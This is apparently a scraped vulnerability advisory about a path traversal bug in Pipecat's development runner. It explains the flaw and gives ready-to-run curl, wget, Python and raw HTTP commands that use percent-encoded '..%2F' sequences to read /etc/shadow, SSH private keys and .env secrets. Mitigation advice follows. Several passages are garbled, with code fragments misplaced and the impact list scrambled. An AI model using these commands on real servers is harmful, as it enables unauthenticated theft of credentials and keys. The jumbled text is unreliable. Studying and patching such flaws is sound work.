Listen to this Post
How the CVE Works
The vulnerability exists in Pipecat’s development runner (src/pipecat/runner/run.py). When the runner starts with the `–folder` flag, it exposes an unauthenticated `GET /files/{filename:path}` download endpoint. The `filename` parameter is directly concatenated onto `args.folder` using `Path(args.folder) / filename` without any containment check or call to .resolve(). Starlette’s routing normalizes literal `../` sequences in the URL path, but it decodes percent‑encoded characters after routing. Because `%2F` decodes to /, an attacker can supply `..%2F..%2Fetc%2Fpasswd` as the filename. The router sees `..%2F..%2Fetc%2Fpasswd` (no literal ../), so no normalization occurs. After decoding, the handler receives ../../etc/passwd. Python’s `pathlib` does not strip `..` during join; only `.resolve()` does. Thus `file_path = Path(“/some/folder”) / “../../etc/passwd”` becomes /some/folder/../../etc/passwd, which resolves to /etc/passwd. The endpoint performs no authentication, so a single HTTP GET request can read any file the pipecat process has access to — including SSH keys, `.env` secrets, and system files like /etc/shadow. The issue is confirmed on pipecat‑ai 1.1.0 (latest PyPI) and commit f078df7. A minimal proof of concept starts the runner with --folder /tmp/bot_media, then a request to http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd` returns the full/etc/passwd. The same technique can extract `id_rsa` or any other file reachable from the process's filesystem.
<h2 style="color: blue;">dailycve form</h2>
Platform: Pipecat
Version: 1.1.0
Vulnerability: Path traversal
Severity: Critical
Date: 2026-04-29
<h2 style="color: blue;">Prediction: 2026-05-15</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Check if runner is exposed
curl -s "http://target:7860/files/..%2F..%2F..%2Fetc%2Fpasswd" | head -5
Enumerate SSH keys
curl -s "http://target:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
Read environment variables
curl -s "http://target:7860/files/..%2F..%2F.env"
Automated traversal using wget
wget -r -np -nH --cut-dirs=3 -R "index.html" "http://target:7860/files/..%2F..%2F..%2F"
Python one-liner to exfiltrate /etc/passwd
python3 -c "import requests; print(requests.get('http://target:7860/files/..%2F..%2Fetc%2Fpasswd').text)"
<h2 style="color: blue;">Exploit:</h2>
Send a single HTTP GET request with percent‑encoded path traversal:
GET /files/..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1 Host: vulnerable-pipecat-runner:7860
The server returns the contents of `/etc/shadow` (or any file). No authentication, no additional headers. The `filename` parameter accepts arbitrary `%2F` sequences, and because the runner’s `--folder` is often a subdirectory like/tmp/media, three `..%2F` steps typically reach the root filesystem. An attacker can also read the runner’s own source code, configuration files, or TLS private keys if the process runs with elevated privileges.is_relative_to()
<h2 style="color: blue;">Protection from this CVE</h2>
- Immediate fix: Upgrade to a patched version once available, or apply the remediation code that calls `.resolve()` on both base and joined paths and checks.%2F
- Workaround: Do not expose the runner’s HTTP port to untrusted networks. Bind only to `127.0.0.1` or use a VPN/reverse proxy with authentication.
- Input validation: Reject any `filename` containing,.., or `/` before joining. Alternatively, use `os.path.realpath` and verify the result starts with the allowed base directory.~/.ssh/id_rsa
- Least privilege: Run the pipecat process with a dedicated low‑privilege user that has read access only to the required `--folder` directory and nothing else.
<h2 style="color: blue;">Impact</h2>
An unauthenticated remote attacker can read any file readable by the pipecat process. This includes:
- SSH private keys () → full system compromise..env
-,secrets.yml, `config.json` → database credentials, API tokens, cloud keys./etc/passwd
- System files, `/etc/shadow` → user enumeration and password hash cracking.–host 192.168.1.100`), every device on the same network is at risk. Because the endpoint requires no credentials and the runner is often left in development mode, this turns into a trivial data breach or privilege escalation vector.
- Source code and internal documentation → further attack surface discovery.
- In LAN deployments (e.g., ESP32 integration with
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
